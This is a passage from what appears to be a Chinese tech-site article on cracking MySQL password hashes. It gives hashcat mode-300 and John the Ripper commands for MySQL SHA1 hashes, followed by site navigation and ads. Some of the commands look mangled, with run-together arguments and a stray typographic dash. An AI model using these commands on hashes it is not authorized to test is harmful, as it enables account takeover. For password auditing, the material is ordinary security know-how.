  2. hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

4、John the Ripper password cracker

John the Ripper 下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能够破解 linux 外,还能破解多种格式的密码

  1. Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt  
  2. John –format =mysql-sha1 hashes.txt  
  3. john --list=formats | grep mysql //查看支持mysql密码破解的算法  

【编辑推荐】

  1. 你有多久没做数据库日志清理了?!
  2. MySQL到底有多少种日志类型需要我们记住的!
  3. MySQL数据优化总结-查询备忘录
  4. 数据库管理提速:SQL解析的探索与应用
  5. MySQL主从信息的元数据维护
【责任编辑:庞桂玉 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

'ASP.NET'程序设计教程

《ASP.NET程序设计教程》是在总结多年ASP.NET教学和应用项目开发经验基础上编写完成的,编写过程中充分吸取了其他畅销实用教程的成功经验。...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊